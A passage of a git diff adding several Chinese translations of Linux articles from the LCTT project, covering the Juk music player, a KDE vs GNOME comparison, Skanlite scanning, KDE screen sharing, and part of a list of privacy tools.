工具,到图形计算器、电子邮件和办公工作。这些都是生产力工具,但 KDE 也适合于放松。它有游戏和媒体播放器,而我使用的音乐播放器是 [Juk][5]。 + +### 在 Linux 上安装 Juk + +只要你的 Linux 发行版提供 KDE 软件包,你就可以用你的包管理器安装 Juk。 + +在 Fedora、Mageia 和类似发行版上: + +``` +$ sudo dnf install juk +``` + +在 Elementary、Linux Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install juk +``` + +### 使用 Juk + +当你第一次启动 Juk 时,你会被问到你想用什么目录作为你的音乐集的来源。选择你希望 Juk 寻找音乐的文件夹,并可选择排除你希望 Juk 忽略的任何子目录。 + +![Adding music to Juk][6] + +取决于你有多少音乐,Juk 可能需要一些时间来解析文件系统和元数据。当它完成后,通常的 Juk 窗口就会出现,你所有的音乐都在一个叫做“收藏列表Collection List”的中央收藏列表中。 + +![Juk music player][8] + +在顶部的搜索栏中,你可以在任何领域搜索任何字符串。双击歌曲,开始播放。 + +Juk 默认为连续播放,这意味着在它播放完你的选择后,它会继续播放收藏列表中的下一首歌曲,即使你已经将你的列表过滤到只有一首歌曲。这使音乐总是会不断播放,就像一个真正的点唱机。 + +就我个人而言,我更喜欢听完整的专辑,中间有足够的休息时间去厨房喝咖啡,所以我使用播放列表。 + +### Juk 中的播放列表 + +Juk 中的播放列表可以包含你收藏列表中的任何内容。Juk 会在播放列表中播放一次,然后停止。 + +要创建一个播放列表,在左边的播放列表栏中点击右键,在出现的上下文菜单中选择 “新建New”。你可以创建一个空的播放列表,或者从你硬盘上的特定文件夹中创建一个播放列表。 + +![Creating a new playlist][9] + +### 自动播放列表 + +你还可以创建一个与特定搜索绑定的特殊播放列表,这对那些你经常购买并添加到你的收藏中的艺术家很有用。有了搜索播放列表,他们的新音乐就会被添加到他们的播放列表中,而无需你的手动干预。 + +### 打标签 + +让我们面对现实吧,音乐播放器是一堆一堆的出现,而且它们大多都做同样的事情。然而,Juk 增加了一个重要的功能。它让你有能力修改元数据标签。 + +![Metadata editor][10] + +很多音乐的标签是不一致的、不完整的,或者根本就没有,所以当你发现它们出现在播放队列中时,能够纠正它们是一种奢侈。 + +它还有一个标签猜测器的功能,它试图解析文件名,并对歌曲进行相应的标记。 + +### 明显的选择 + +当你在 KDE 上寻找一个音乐播放器时,Juk 是一个简单而明显的选择。当然,还有很多其他非常好的选择,正如我们的常驻发烧友 [Chris Hermansen][11] 在他的 [3 个开源音乐播放器][12] 文章中详细介绍的那样,但有时你只是想使用你最容易想到的东西。Juk 既能直观地使用,又能出色地完成它的任务。它是多么幸运啊,成为 KDE Plasma 桌面上的默认播放器。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/listen-music-linux-juk-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/c-d-x-pdx_a_82obo-unsplash.jpg?itok=2txWDP31 (Headphones on a yellow backdrop) +[2]: https://opensource.com/article/21/12/kdenlive-linux-creative-app +[3]: https://opensource.com/life/16/5/how-use-digikam-photo-management +[4]: https://opensource.com/article/21/12/krita-digital-paint +[5]: https://juk.kde.org/ +[6]: https://opensource.com/sites/default/files/juk-import.jpg (Adding music to Juk) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://opensource.com/sites/default/files/juk-player.jpg (Juk music player) +[9]: https://opensource.com/sites/default/files/juk-playlist-new.jpg (Creating a new playlist) +[10]: https://opensource.com/sites/default/files/juk-tagger.png (Metadata editor) +[11]: https://opensource.com/users/clhermansen +[12]: https://opensource.com/article/17/1/open-source-music-players diff --git a/published/202203/20220224 KDE vs GNOME- What-s the Ultimate Linux Desktop Choice.md b/published/202203/20220224 KDE vs GNOME- What-s the Ultimate Linux Desktop Choice.md new file mode 100644 index 0000000000..fc30e0b5a3 --- /dev/null +++ b/published/202203/20220224 KDE vs GNOME- What-s the Ultimate Linux Desktop Choice.md @@ -0,0 +1,281 @@ +[#]: subject: "KDE vs GNOME: What’s the Ultimate Linux Desktop Choice?" +[#]: via: "https://itsfoss.com/kde-vs-gnome/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14320-1.html" + +KDE 与 GNOME:什么是 Linux 桌面的终极选择? +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/02/160920u0pqhbfqdob7kt22.jpg) + +说到 Linux,桌面环境desktop environment(DE)是个大问题。 + +桌面环境构成了图形用户界面(GUI),以及你在 Linux 发行版上得到的一组应用。 + +你可以通过我们的 [解释什么是桌面环境的文章][1] 了解。 + +选择一个好的桌面环境可以帮助你提高生产力、工作流程、易用性和整体体验。 + +在 [最佳桌面环境][2] 中,KDE Plasma 和 GNOME 特别受欢迎。在这里,我打算强调其中的关键区别,以帮助你做出决定。 + +> 注意:KDE 是整个社区的人在其名下开发的各种项目。其中桌面环境的名字是 Plasma。在这里,我们将 Plasma 桌面与 GNOME 进行比较。然而,为了简单起见,我们倾向于使用 “KDE” 而不是 “Plasma”。 + +### 用户界面:功能与外观 + +用户界面通常涉及到布局类型、图标、主题、小工具和 GUI 的其他组件。 + +#### KDE + +KDE 的目标是提供一个传统的桌面布局,让大多数 Windows 用户感到舒适。 + +![][3] + +不过,不要被这一点所迷惑。它的外观很简单,但却专注于更多的功能。 + +事实上,Windows 从 KDE 中获得了灵感,对其用户界面进行了一些改进,比如通过滚动任务栏中的音量图标来调整音量的能力。 + +![][4] + +而且,KDE 以其一致的外观和感觉而闻名,即使多年来有许多改进。 + +#### GNOME + +另一方面,GNOME 提供了一种独特的桌面体验。如果你正在寻找一个不同的、现代的用户界面设计,GNOME 应该很适合你。 + +其图标/主题/壁纸可能看起来更符合现代标准。偏好有所侧重,但在我看来,GNOME 看起来更有吸引力。 + +![][5] + +然而,如果你已经适应了传统的类似 Windows 的布局,调整工作流程可能需要一段时间。 + +这里没有开始/应用/菜单按钮。你必须点击活动概览来访问你的工作空间(或虚拟桌面),并从同一个地方访问应用菜单。 + +对一些人来说,没有任务栏可能看起来更干净,但这取决于你的喜好。 + +请注意,与 KDE 相比,UI 可能没有那么多功能,也没那么丰富。例如,系统托盘中的部件提供了比 GNOME 上的小程序更多的选项。 + +![][6] + +因此,在 UI 方面,KDE 与 GNOME 并没有明显的赢家,而是取决于你对功能或现代外观的要求。 + +### 应用生态 + +#### KDE + +使用 KDE,你可以获得 [无数的实用程序][7]。 + +你可能会被 KDE 提供给 KDE 上使用的应用所淹没。 + +![][8] + +不止如此,整个 KDE 社区都一直忙于为这个武器库添加新的应用和工具。 + +它们中许多在现有的应用中脱颖而出,如 Krita、Kdenlive、Kate 编辑器等等。 + +#### GNOME + +GNOME 默认也具有 [众多的应用][9]。虽然对于大多数用户来说,这可能是一个足够的列表,但与 KDE 相比,它在目录上有所不足。 + +![][10] + +我发现自己并没有使用过很多来自 GNOME 的应用。 + +而且,值得注意的是,与 GNOME 的默认应用相比,KDE 桌面环境自带的应用得到了更快的改进。 + +这是与 GNOME 应用程序相比的 KDE 的开发更新频度,不过这只是个人观察,这可能会随着时间而改变。 + +### 什么是最好的定制? + +#### KDE + +如果你想改造和控制用户体验,KDE 是一个很好的选择。 + +不要光听我说,你可以按照我们的 [KDE 定制指南][11] 了解可用选项。 + +![][12] + +不仅仅是定制的能力,你还可以得到很多开箱即用的控制,用于改变主题、颜色、工作区效果、窗口管理等等,而不需要任何特定的应用程序/扩展。 + +对于一些人来说,如果你想坚持使用原版的体验,这么多的选项也不会产生什么影响,不用担心。 + +#### GNOME + +至于 GNOME,你没有那么多开箱即用的控制。相反,你必须得依靠 GNOME “优化”或一些扩展来改变。但是,是的,你可以在很大程度上自定义体验。 + +![][13] + +另外,请注意,在写这篇文章的时候,[GNOME 42][14] 还没有成为稳定版本。所以,你可以期待一个系统级的深色模式的实现,以及一些外观/感觉上的改进。 + +当然,这不是一个公平的比较,考虑到两者都提供不同的 GUI 元素和布局。然而,对于想要更多控制和定制选项的用户来说,KDE 会被选择。 + +GNOME 适合于不想要很多选项的用户。如果你喜欢 GNOME 提供的东西,并且愿意用额外的努力来定制体验,你也可以这么做。 + +### 额外的能力:KDE 与 GNOME + +#### GNOME + +如前所述,GNOME 提供了给你当前的配置 [增加更多的功能的扩展功能][15]。 + +你可以前往 [GNOME 的 shell 扩展网站][16] 来探索各种选择,或者看看我们的 [最佳 GNMOE 扩展列表][17]。 + +![][18] + +GNOME 扩展让你可以轻松地做很多事情,比如使用自动移动窗口切换器来自动化应用启动的工作区。 + +有各种各样的扩展来改善你的工作流程,使事情变得简单。 + +然而,这些扩展取决于 GNOME shell 的版本。此外,由于从一个版本到另一个版本的激进变化,GNOME 扩展可能在未来的版本中停止工作。 + +#### KDE + +另一方面,KDE 也提供了一个充满附加组件、小工具和应用附加组件的袋子。 + +![][19] + +不像 GNOME 从浏览器中添加扩展的那种不方便的方式(使用另一个浏览器扩展),你可以使用“发现”软件中心直接访问 KDE 的附加组件。 + +![][20] + +所以,添加额外的功能或主题就变成了一种无缝的体验,而不需要遵循一套单独的步骤。 + +不要忘了,像 KDE Connect 这样的工具提供了额外的能力,让你把你的手机和你的电脑连接起来。 + +总的来说,你可以在两者上扩展功能,但如果你想有更多的选择,KDE 更有优势。 + +### 无障碍选项 + +#### KDE + +虽然 KDE 在几个方面做得很好,但增强桌面无障碍的可用能力非常有限(比如没有开箱即用的屏幕阅读器)。 + +![][21] + +有一种可能是,开发者正在用 Orca 屏幕阅读器应用来测试其功能,比如桌面的听力/视觉辅助,但在 KDE Plasma 5.24 中,它不够实用。 + +正如我们的一位读者所指出的,KDE 在安装前后都不能“说话”。所以,这对他们来说不是一个选择。 + +#### GNOME + +然而,GNOME 做得更好,它有读屏器、视觉提醒、屏幕键盘、声音键、点击辅助等。 + +![][22] + +所以,如果一个用户依赖无障碍选项来使用桌面,GNOME 应该是个选择。 + +### KDE 比 GNOME 更快? + +拥有一个能在可用系统资源下有效工作的桌面环境是很重要的。如果你想进行多任务处理,而又没有超好的配置来支持的话,这一点就显得无比重要。 + +KDE 通常被认为比其他大多数桌面环境要快,因为它对资源的占用很轻。 + +然而,为了给你一个参考,我创建了两个虚拟机(Fedora 35 和 KDE Neon 用户版),在你继续尝试之前提供一些想法。 + +两个虚拟机的设置都使用类似的资源配置,分配了两个核心和 8GB 内存,下面是我们的情况: + +![Resource usage on GNOME 41 \(Fedora 35\)][23] + +这个资源使用情况是在开启虚拟机后,后台没有任何东西运行的情况下的截图。 + +相比之下,由 KDE 驱动的发行版 KDE Neon 被证明在后台没有运行截图程序的情况下消耗了不到 1GB 的内存。 + +![][24] + +即使在截图程序运行的情况下,它消耗的资源也较少。 + +如果这还不能说服你,过去也有许多报告,比如 [Jason 的报告][25],提到 KDE 是比 XFCE 更轻的桌面环境。 + +### 可用的发行版:GNOME 与 KDE + +大多数流行的发行版都将 GNOME 作为默认(或唯一)的桌面环境。Fedora、Ubuntu 和 Pop!\_OS 是流行的例子。 + +你应该能找到许多有单独的 GNOME 版本的发行版。 + +至于 KDE,你可以尝试了解一下我们的 [基于 KDE 的发行版][26] 列表,或者寻找像 Kubuntu 这样的选择。在大多数主流发行版中,你可能不会发现 KDE 是默认选择的发行版,但你应该发现几乎所有的发行版都有 KDE 的变体。 + +### 那么,你应该选择什么来定义你的桌面体验? + +对桌面环境的选择带给了你想要的桌面体验。 + +如果你想要简单、性能和众多的选项/工具,KDE 应该是一个常青的选择。 + +如果你想要一个现代的/更干净的外观,并且不介意不同的布局(或用户体验),GNOME 可以成为一个不错的补充。 + +虽然 GNOME 可能无法给你同样多的控制,但你仍然可以用它做很多事情。Pop!\_OS 是一个例子,它将 GNOME 作为桌面环境,并在其上添加扩展/功能,使其成为一个光鲜的桌面发行版。 + +所以,你需要评估什么对你的用户体验更重要。 + +**我的看法**:我会选择 GNOME 而不是 KDE,以获得独特/完美的桌面体验。 + +你会选择什么?请在下面的评论区告诉我你的想法。 + +### 常见问题:如果你还在为做出选择而感到困惑 + +看完比较后,你可能会有一些问题,所以我想解决一些潜在的问题: + +**1、为什么 KDE 不流行** + +KDE 可以说是继 GNOME 之后第二受欢迎的桌面环境。然而,它并不是主流发行版和 Ubuntu、Pop!\_OS、Fedora 等流行选项的默认选择;因此,你可以看到身边都是 GNOME。 + +**2、GNOME 比 KDE 更稳定吗?** + +这两个桌面环境都是由有经验的开发者团队建立的,并定期进行修复和改进。 + +到目前为止,GNOME 已经有多次彻底的改变。所以,从这个角度来说,KDE 可以被认为是更一致和稳定的体验。 + +**3、KDE 是否比 GNOME 更快?** + +虽然我们已经在文章中试图解决这个问题,但应该注意的是,性能取决于你做什么和可用的系统资源。 + +对于一些用户来说,最少的资源消耗可能是一个很大的胜利。而对某些人来说,随着可用资源的增加,差异也会逐渐消失。 + +**4、KDE 比 GNOME 好吗?** + +KDE 具有更多的应用、自定义选项和额外的功能。然而,对于那些不希望获得任何此类选项的用户来说,它可能会让人感到不知所措。 + +如果用户喜欢简洁的用户体验,提供现代的外观,GNOME 可能是一个更好的选择。 + +归根结底,这都是你的喜好,而不是一个桌面环境的优势。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/kde-vs-gnome/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/what-is-desktop-environment/ +[2]: https://itsfoss.com/best-linux-desktop-environments/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-home-2022.png?resize=800%2C466&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-system-tray-area.png?resize=715%2C570&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-41-home.png?resize=800%2C409&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-ui-elements.png?resize=582%2C373&ssl=1 +[7]: https://apps.kde.org +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-discover.png?resize=800%2C595&ssl=1 +[9]: https://apps.gnome.org/en-GB/ +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-apps.png?resize=800%2C409&ssl=1 +[11]: https://itsfoss.com/kde-customization/ +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-appearance-custom.png?resize=800%2C564&ssl=1 +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-settings-appearance-41.png?resize=800%2C573&ssl=1 +[14]: https://news.itsfoss.com/gnome-42-features/ +[15]: https://itsfoss.com/gnome-shell-extensions/ +[16]: https://extensions.gnome.org +[17]: https://itsfoss.com/best-gnome-extensions/ +[18]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-extensions-website.png?resize=800%2C520&ssl=1 +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-plasma-addons.png?resize=800%2C557&ssl=1 +[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-app-addons.png?resize=800%2C557&ssl=1 +[21]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-accesibility.png?resize=800%2C564&ssl=1 +[22]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-accessibility.png?resize=800%2C487&ssl=1 +[23]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/gnome-fedora-resource-usage.png?resize=752%2C552&ssl=1 +[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kde-resource-usage.png?resize=800%2C599&ssl=1 +[25]: https://www.forbes.com/sites/jasonevangelho/2019/10/23/bold-prediction-kde-will-steal-the-lightweight-linux-desktop-crown-in-2020/?sh=1338b70026d2 +[26]: https://itsfoss.com/best-kde-distributions/ diff --git a/published/202203/20220224 Scan documents and old photos on Linux with Skanlite.md b/published/202203/20220224 Scan documents and old photos on Linux with Skanlite.md new file mode 100644 index 0000000000..dd95691c8e --- /dev/null +++ b/published/202203/20220224 Scan documents and old photos on Linux with Skanlite.md @@ -0,0 +1,90 @@ +[#]: subject: "Scan documents and old photos on Linux with Skanlite" +[#]: via: "https://opensource.com/article/22/2/scan-documents-skanlite-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14402-1.html" + +用 Skanlite 在 Linux 上扫描文件和老照片 +====== + +> 使用这个 Linux KDE 应用,将你的档案数字化。 + +![](https://img.linux.net.cn/data/attachment/album/202203/27/114937eannabb3zn45lraa.jpg) + +虽然现在的世界已经大部分实现了数字化,但仍有一些时候,你还是需要打印一份表格,签字,然后把它扫描回来。有时候,我发现在手机上拍个快照就够了,但有些行业需要比草率的快照更好的复印件,因此平板扫描仪是必要的。KDE 项目提供了一个叫做 Skanlite 的应用程序,它可以帮助你导入在平板上扫描的文件,甚至是用联机相机扫描的文件。 + +### 在 Linux 上安装 Skanlite + +你可以从你的软件库中安装 Skanlite。在 Fedora、Mageia 和类似的地方: + +``` +$ sudo dnf install skanlite +``` + +在 Elementary、Linux Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install skanlite +``` + +### 扫描仪驱动 + +市场上的大多数扫描仪都与 SANE 扫描仪 API 兼容。SANE 并不是一个真正的驱动,而是一个协议,可以接收来自图像采集设备的输入,并为希望围绕它建立一个应用的程序员提供选项。Skanlite 就是这样一个应用。 + +我还没有遇到过不与 SANE 接口兼容的扫描仪,但可能也有不与 SANE 接口兼容的扫描仪。在这些情况下,请在制造商的网站上寻找 SANE 或 TWAIN 的驱动,或者寻找它们专有的驱动和扫描仪接口。后者可能无法使用 Skanlite,但当你不确定你的扫描仪是否通过标准协议进行通信时,Skanlite 总是值得试试。我甚至遇到过打印机和扫描仪的二合一设备,尽管打印机需要一个额外的驱动,但扫描仪却能立即被识别。 + +### 使用 Skanlite + +当你启动 Skanlite 时,它首先会在你的系统中搜索图像采集设备。在笔记本电脑上,Skanlite 通常会发现网络摄像头是一个有效的输入源(因为它是),但它也会找到连接到你机器上的平板扫描仪。选择你要使用的扫描仪,然后继续。 + +要看扫描的内容,点击应用程序右下角的“预览Preview”按钮。 + +![Skanlite with custom artwork][2] + +这将在右面板上显示一个预览图像。没有任何东西被保存到你的硬盘上,这只是显示你的扫描仪上目前有什么。 + +### 选择一个扫描区域 + +如果你只需要扫描仪上的一部分内容,你可以选择一个你想保存的区域。要选择一个单一的区域,在你想保存的区域上点击并拖动你的鼠标。当有一个有效的选择时,当你点击“扫描Scan”按钮时,只有你选择的那部分会被保存。 + +你可以有一个以上的选区,当你需要扫描几个小图像或只扫描一个大文件的特定部分时,这特别有效。要添加一个选区,请点击出现在选区中心的 “+” 图标。 + +![Adding selections][3] + +你可以通过点击 “-” 图标来删除选区,当你有多个活动选区时,该图标会出现。 + +### 扫描设置 + +图像采集设置位于左边的面板上。这些控件允许你导入彩色或灰度的图像,并对图像的亮度和对比度进行调整。这些选项是基于软件的,不影响你的扫描仪的行为方式,但它们是常见的调整,在这里做这些调整可以使你不必在 GIM 或 Gwenview 中对图像进行后期处理。 + +在许多情况下,你的扫描仪可能有可配置的设置,可在 Skanlite 窗口左侧的“扫描仪特定选项Scanner Specific Options”标签中找到。有些扫描仪允许你调整色温、亮度、饱和度和其他出现在固件中的属性。可用的选项根据设备和供应商的不同而不同,所以你有可能在这个面板上看到变化,这取决于你与哪种设备的对接。 + +### 扫描和保存 + +当你准备好导入图像(或图像的选定区域,如果你已经做了选择)时,点击 Skanlite 窗口右下角的“扫描Scan”按钮。根据你的设备,它可能需要一些时间来创建扫描,但当它完成后,会提示你保存或丢弃图像。如果你喜欢你所看到的,点击“保存Save”。 + +图像会被保存到你所配置的任何默认位置。要查看默认位置,点击窗口右下角的“设置Settings”按钮。在 “Skanlite 设置Skanlite Settings”中,你可以设置默认保存位置、默认名称格式和图像分辨率。你还可以控制每次扫描后是否提示你保存或丢弃图像,或者你是否想要保存所有的东西并在以后进行分类。 + +### Linux 上的扫描很容易 + +在 Linux 上扫描文件是如此简单,我很少考虑这个问题。通常不需要你去寻找和安装特殊的驱动或应用,因为像 Skanlite 这样的应用使用开放协议,使这个过程变得简单。下次你有一份需要数字化的拷贝时,用 Skanlite 导入它。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/scan-documents-skanlite-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/documents_papers_file_storage_work.png?itok=YlXpAqAJ (Filing papers and documents) +[2]: https://opensource.com/sites/default/files/skanlite.png (Skanlite with custom artwork) +[3]: https://opensource.com/sites/default/files/skanlite-selection.jpg (Adding selections) diff --git a/published/202203/20220225 How to screen share with the Linux KDE Plasma Desktop.md b/published/202203/20220225 How to screen share with the Linux KDE Plasma Desktop.md new file mode 100644 index 0000000000..7af809d462 --- /dev/null +++ b/published/202203/20220225 How to screen share with the Linux KDE Plasma Desktop.md @@ -0,0 +1,64 @@ +[#]: subject: "How to screen share with the Linux KDE Plasma Desktop" +[#]: via: "https://opensource.com/article/22/2/screen-share-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14332-1.html" + +如何在 KDE Plasma 桌面进行屏幕共享 +====== + +> krfb 和 krdc 的组合是使远程 Linux 支持变得无挫折感的宝贵工具。 + +![](https://img.linux.net.cn/data/attachment/album/202203/06/102407oi1sz113151dd5bw.jpg) + +如果你曾经做过专业的或出于家庭义务的远程支持,在待命支持时,解决问题只是第二步,更重要的是可见用户屏幕上的实际内容。有多少次你描述了复杂的桌面任务,后来才发现你的用户甚至还没有打开他们的电脑?支持是重要的,但挫折感是真实的,对于需要支持的人和慷慨地试图提供支持的人来说,这都是一种共同的经历。我相信,作为学习新技能的一种方式,人们自己执行任务是很重要的,但也有一种说法是观察专家应该如何做。这就是屏幕共享的作用,KDE Plasma 桌面已经内置了它。 + +### 网络安全 + +Plasma 桌面使用点对点的邀请模式进行屏幕共享。用户启动一个应用,启动一个虚拟网络连接(VNC)服务器,这时,支持人员就可以远程查看甚至控制计算机。如果这听起来像是潜在的不安全,那是因为它可能就是,但有防火墙的干预。如果你是一个与你不在同一网络上的人的支持人员,那么你必须在屏幕共享工作之前建立一个从你的网络到你的用户的网络的安全通道。理想情况下,你会在紧急情况发生前完成这项工作。 + + 1. [配置用户的路由器][2],将 VNC 端口(默认为 5900,但你可以使用任何你喜欢的端口)路由到他们的计算机。 + 2. [在用户的本地防火墙中打开一个服务][3],允许 VNC 流量(在你在第一步中指定的端口)。 + +### 远程邀请 + +为了启动屏幕共享会话,用户必须启动 **krfb**(表示 “KDE remote frame buffer”)应用。这将启动一个 VNC 服务器,并创建一个临时密码。 + +![krfb][4] + +**krfb** 使用的默认端口是 5900,但如果你需要,可以在 **krfb** 设置中改变。不过,这可能是你想提前做的事情,这样你就可以避免向你的用户解释如何改变协议的端口。 + +### 查看和控制 + +当这个窗口打开时,你可以使用你喜欢的 VNC 客户端通过 VNC 登录。KDE 有 **krdc**(表示 “KDE remote desktop client”)应用。在支持的计算机上,启动它并向它提供目标 IP 地址。当你被提示输入密码时,输入你正在连接的 **krfb** 会话中显示的密码。 + +![Screen sharing with krdc][6] + +连接上后,你就可以看到你用户的屏幕,你可以在他们遵循你的指示时引导他们。如果他们在遵循你的指示方面有困难,那么你可以控制他们的鼠标,并演示如何做某事。默认情况下,**krfb**(即他们正在运行的应用)在将控制权交给你之前会征求他们的同意。 + +### 帮助进行中 + +能够看到你的用户所看到的东西可以加速故障排除,减少支持电话双方的挫折感。只要你事先为你的支持设置好网络,**krfb** 和 **krdc** 的组合对于指导新用户完成 Linux 桌面发现之旅的 Linux 专业人士来说是很有价值的工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/screen-share-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/article/20/9/firewall +[3]: https://opensource.com/article/19/7/make-linux-stronger-firewalls +[4]: https://opensource.com/sites/default/files/kde-krfb.jpg (krfb) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://opensource.com/sites/default/files/kde-krdc-session.jpg (Screen sharing with krdc) diff --git a/published/202203/20220227 12 Simple Tools to Protect Your Privacy.md b/published/202203/20220227 12 Simple Tools to Protect Your Privacy.md new file mode 100644 index 0000000000..76dff8bf19 --- /dev/null +++ b/published/202203/20220227 12 Simple Tools to Protect Your Privacy.md @@ -0,0 +1,262 @@ +[#]: subject: "12 Simple Tools to Protect Your Privacy" +[#]: via: "https://itsfoss.com/privacy-tools/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14337-1.html" + +12 款简单好用的保护隐私的软件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/08/114751t43jbqlfcic3w348.jpg) + +数据是最宝贵的一项资产。 + +无论影响好坏,数据收集技术都会一直存在。现实生活中,人们进行分析、研究以及学习,都需要各种各样的数据。 + +当然,数据收集也会带来风险,比如不法机构会收集用户的浏览数据(或网络活动)。 + +匿名数据收集等技术虽然在不断发展,但在隐私保护这方面可能做的并不是十分完善。 + +不过先别担心,保护好自己的隐私并不是件难事。 + +一些简单好用的软件可以在不影响用户体验的前提下,增强用户的隐私保护。更重要的是,搞明白这些软件,你根本不需要着急花大把的时间。 + +本文将会推荐一些简单的软件,可以轻松保护你的网络隐私。 + +### 一些增强隐私保护的基本工具 + +保护数据安全最有效的办法就是,关注你使用频率最高的产品。 + +担心数据安全是必要的,但不能顾此失彼,忘记产品最基本的用途。 + +比如,你使用一款去中心化的社交软件,但是你的亲朋好友都不去用它,他们大多时候还是使用 WhatsApp。那么,你的这种做法就没有任何意义。 + +因此,我们在这里列出了一些不用付出特别的努力就能轻松试用的软件,并将它们归为以下几类: + + * 网页浏览器 + * 虚拟专用网络 + * 搜索引擎 + * 社交软件 + * 操作系统 + * 密码管理 + +### 关注隐私保护的开源网页浏览器 + +从办理银行业务到访问社交媒体,网页浏览器能帮你做各种事情。 + +如果你选择了一款提供优质安全服务以及强大隐私保护功能的网页浏览器,你几乎就可以高枕无忧了。 + +在我们推荐的 [最好的网页浏览器][7] 之中,(重点关注隐私的)包括: + +#### 1、Tor 浏览器 + +![][8] + +[Tor 浏览器][10] 是一款自由开源的网页浏览器,提供了强大的隐私保护功能。它是火狐浏览器的定制版本。 + +Tor 浏览器借助 [Tor 网络][9] 连接,通过多个节点来传递你的网络请求,以隐藏 IP 地址和位置信息。 + +在 Tor 浏览器上浏览网页,几乎没有人可以追踪到你。 + +然而,Tor 浏览器的浏览体验可能稍差一些,它的响应速度极慢。所以,如果你不介意这一点,Tor 浏览器绝对是你的不二之选。 + +#### 2、Firefox + +![][11] + +可以说,[Firefox][15] 是最优秀的 [开源浏览器][12]。也难怪 [我会一次又一次地回归 Firefox][13]。 + +Firefox 浏览器不仅内置最强大的隐私保护功能,而且还经常引入新的行业标准,以确保用户安全地浏览网页。 + +你可以在 Firefox 上安装一些 [最好的开源插件][14],然后自行配置,更好地保护自己的隐私。 + +#### 3、Brave + +![][16] + +[Brave][18] 是 Linux 系统上最好的浏览器之一,用户体验清新简洁,外观与 Chrome 有些相似。 + +Brave 凭借其强大的跟踪保护功能,以及开箱即用的自动运行的跟踪拦截器,一直以来都是 Linux 用户的最佳选择。 + +请阅读我们的文章:《[Brave vs. Firefox:你的私人网络体验的终极浏览器选择][17]》,进一步了解 Brave 的优点与缺陷。 + +### 保护隐私的虚拟专用网络 + +无论你使用的是电脑还是手机,虚拟专用网络都可以全程保护你的网络连接。 + +它还可以隐藏你真实的 IP 地址与位置,让你轻松浏览受限制的内容。 + +[专注隐私保护的虚拟专用网络服务][19] 有很多,这里我们推荐以下几款: + +#### 1、ProtonVPN + +![][20] + +[ProtonVPN][21] 是一款强大的隐私保护服务,提供桌面版和移动版的开源客户端。 + +你可以免费使用这款软件;也可以选择付费,享受恶意软件拦截以及跟踪保护等功能。ProtonVPN 还可以与 ProtonMail 一起付费订阅。 + +#### 2、Mullvad + +![][22] + 